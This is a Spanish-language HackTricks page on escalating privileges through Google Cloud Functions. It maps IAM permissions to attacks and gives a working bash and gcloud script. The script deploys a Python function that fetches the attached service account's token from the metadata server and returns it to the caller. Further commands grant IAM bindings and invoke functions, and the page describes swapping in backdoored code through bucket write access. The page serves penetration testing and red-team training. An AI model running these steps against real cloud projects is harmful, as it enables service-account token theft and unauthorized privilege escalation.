GCP - Cloudfunctions Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

cloudfunctions

Más información sobre Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una cuenta de servicio. Luego, leak el token de la cuenta de servicio desde los metadatos para escalar privilegios a ésta.
Podrían ser necesarios algunos privilegios para invocar la función.

Los scripts de explotación para este método se pueden encontrar aquí y aquí y el archivo .zip preconstruido se puede encontrar aquí.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede modificar el código de una Function e incluso modificar la cuenta de servicio adjunta con el objetivo de exfiltrar el token.

Caution

Para desplegar Cloud Functions también necesitarás permisos actAs sobre la cuenta de servicio predeterminada de Compute o sobre la cuenta de servicio que se usa para construir la imagen.

Pueden requerirse privilegios adicionales, como el permiso .call para cloudfunctions versión 1 o el rol role/run.invoker para invocar la función.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Si obtienes el error Permission 'run.services.setIamPolicy' denied on resource... es porque estás usando el parámetro --allow-unauthenticated y no tienes permisos suficientes para ello.

El exploit script para este método se puede encontrar here.

cloudfunctions.functions.sourceCodeSet

Con este permiso puedes obtener una URL firmada para poder subir un archivo a un bucket de la función (pero el código de la función no se modificará, aún necesitas actualizarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

No estoy muy seguro de cuán útil es solo este permiso desde la perspectiva de un attackers, pero es bueno saberlo.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Asígnate cualquiera de los privilegios anteriores .update o .create para escalar.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Solo teniendo permisos cloudfunctions, sin iam.serviceAccounts.actAs, no podrás actualizar la función, POR LO TANTO ESTO NO ES UN PRIVESC VÁLIDO.

Invocar funciones

Con los permisos cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, y run.routes.invoke, una identidad puede invocar directamente Cloud Functions. También es necesario que la función permita tráfico público, o que quien realice la llamada esté dentro de la misma red que la propia función.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Acceso de lectura y escritura sobre el bucket

Si tienes acceso de lectura y escritura sobre el bucket puedes monitorizar los cambios en el code y cada vez que ocurra una actualización en el bucket puedes reemplazar el nuevo code con tu propio code de modo que la nueva versión de la Cloud Function se ejecute con el backdoored code enviado.

Puedes leer más sobre el ataque en:

GCP - Storage Privesc

Sin embargo, no puedes usar esto para comprometer previamente Cloud Functions de terceros porque si creas el bucket en tu cuenta y le das permisos públicos para que el proyecto externo pueda escribir en él, obtendrás el siguiente error:

Caution

Sin embargo, esto podría usarse para ataques DoS.

Acceso de lectura y escritura sobre Artifact Registry

Cuando se crea una Cloud Function se sube una nueva docker image al Artifact Registry del proyecto. Intenté modificar la image por una nueva, e incluso eliminar la image actual (y la cache image) y nada cambió; la Cloud Function siguió funcionando. Por lo tanto, quizá podría ser posible abusar de un Race Condition como con el bucket para cambiar el docker container que se ejecutará, pero solo modificar la image almacenada no es suficiente para comprometer la Cloud Function.

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks